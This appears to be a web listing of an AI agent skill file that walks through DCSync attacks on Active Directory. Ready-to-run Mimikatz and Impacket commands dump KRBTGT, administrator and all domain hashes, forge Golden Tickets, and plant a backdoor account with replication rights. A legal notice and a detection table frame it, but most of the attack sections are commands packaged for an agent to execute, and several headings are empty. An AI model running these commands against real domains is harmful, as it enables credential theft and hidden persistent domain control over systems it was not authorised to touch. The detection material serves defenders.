Conducting domain persistence with dcsync

From oyi77/1ai-skills · View interactive version

Conducting domain persistence with dcsync is an AI agent skill from the GitHub repository oyi77/1ai-skills. Use when perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation. Use when performing dcsync attacks to replicate active directory credentials and establish.

How to use this skill

Skill file

Conducting Domain Persistence with DCSync

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.

When to Use

Trigger phrases:

Prerequisites

Objectives

MITRE ATT&CK Mapping

Workflow

  1. Scope and authorize — confirm written authorization and define target boundaries
  2. Reconnaissance — enumerate targets, services, and potential attack surfaces
  3. Exploitation — attempt exploitation of identified vulnerabilities within scope
  4. Post-exploitation — document access level, lateral movement, and data exposure
  5. Report and remediate — compile findings with reproduction steps and fix recommendations

Phase 1: Identify Accounts with DCSync Rights

  1. Enumerate principals with replication rights:

```powershell

# Using PowerView

Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |

Where-Object { ($_.ObjectAceType -match 'Replicating') -and

($_.ActiveDirectoryRights -match 'ExtendedRight') } |

Select-Object SecurityIdentifier, ObjectAceType

# Using BloodHound Cypher query

MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)

RETURN u.name, d.name

```

  1. Using Impacket's FindDelegation or custom LDAP query:

```bash

# Check with Impacket

findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1

```

  1. Default accounts with DCSync rights:

Phase 2: DCSync Credential Extraction

  1. Using Mimikatz (Windows):

```powershell

# Dump specific account (KRBTGT for Golden Ticket)

mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"

# Dump Domain Admin

mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"

# Dump all domain accounts

mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"

```

  1. Using Impacket secretsdump.py (Linux):

```bash

# Dump all credentials

secretsdump.py domain.local/admin:'Password123'@10.10.10.1

# Dump specific user

secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1

# Dump only NTLM hashes (no Kerberos keys)

secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1

# Using Kerberos authentication

export KRB5CCNAME=admin.ccache

secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local

```

Phase 3: Golden Ticket Creation

  1. Using Mimikatz with extracted KRBTGT hash:

```powershell

# Create Golden Ticket

mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \

/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \

/krbtgt:<krbtgt_ntlm_hash> /ptt"

# Create with specific group memberships

mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \

/sid:S-1-5-21-XXXXXXXXXX \

/krbtgt:<krbtgt_ntlm_hash> \

/groups:512,513,518,519,520 /ptt"

```

  1. Using Impacket ticketer.py (Linux):

```bash

# Create Golden Ticket

ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \

-domain domain.local administrator

# Use the ticket

export KRB5CCNAME=administrator.ccache

psexec.py -k -no-pass domain.local/administrator@DC01.domain.local

```

Phase 4: Persistence via DCSync Rights

  1. Grant DCSync rights to a controlled account for persistence:

```powershell

# Using PowerView - Add DS-Replication-Get-Changes-All rights

Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \

-PrincipalIdentity backdoor_user -Rights DCSync

# Verify rights were added

Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |

Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }

```

  1. Using ntlmrelayx.py for automated DCSync rights escalation:

```bash

# Relay authentication to add DCSync rights

ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user

```

When NOT to Use

Red Flags

Verification

Tools and Resources

| Tool | Purpose | Platform |

|------|---------|----------|

| Mimikatz | DCSync extraction, Golden Ticket creation | Windows |

| secretsdump.py | Remote DCSync (Impacket) | Linux (Python) |

| ticketer.py | Golden Ticket creation (Impacket) | Linux (Python) |

| PowerView | ACL enumeration and modification | Windows (PowerShell) |

| Rubeus | Kerberos ticket manipulation | Windows (.NET) |

| ntlmrelayx.py | DCSync rights escalation via relay | Linux (Python) |

Critical Hashes to Extract

| Account | Purpose | Persistence Value |

|---------|---------|-------------------|

| krbtgt | Golden Ticket creation | Indefinite domain access |

| Administrator | Direct DA access | Immediate privileged access |

| Service accounts | Lateral movement | Service access across domain |

| Computer accounts | Silver Ticket creation | Service-level impersonation |

Detection Signatures

| Indicator | Detection Method |

|-----------|-----------------|

| DrsGetNCChanges RPC calls from non-DC sources | Network monitoring for DRSUAPI traffic from unusual IPs |

| Event 4662 with Replicating Directory Changes GUIDs | Windows Security Log on DC (1131f6aa-/1131f6ad- GUIDs) |

| Event 4624 with Golden Ticket anomalies | Logon events with impossible SIDs or non-existent users |

| ACL modifications on domain root object | Event 5136 (directory service changes) |

| Replication traffic volume spike | Network baseline deviation monitoring |

Validation Criteria

Process

  1. Analyze the task requirements
  2. Apply domain expertise
  3. Verify output quality

Anti-Rationalization Table

| Rationalization | Reality |

|---|---|

| "We are too small to be targeted" | Automated attacks target everyone. Size does not matter. |

| "Security slows us down" | A breach slows you down 100x more. Build security in from the start. |

| "We will fix it after launch" | Vulnerabilities in production are exploited within hours. Fix before deploy. |

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.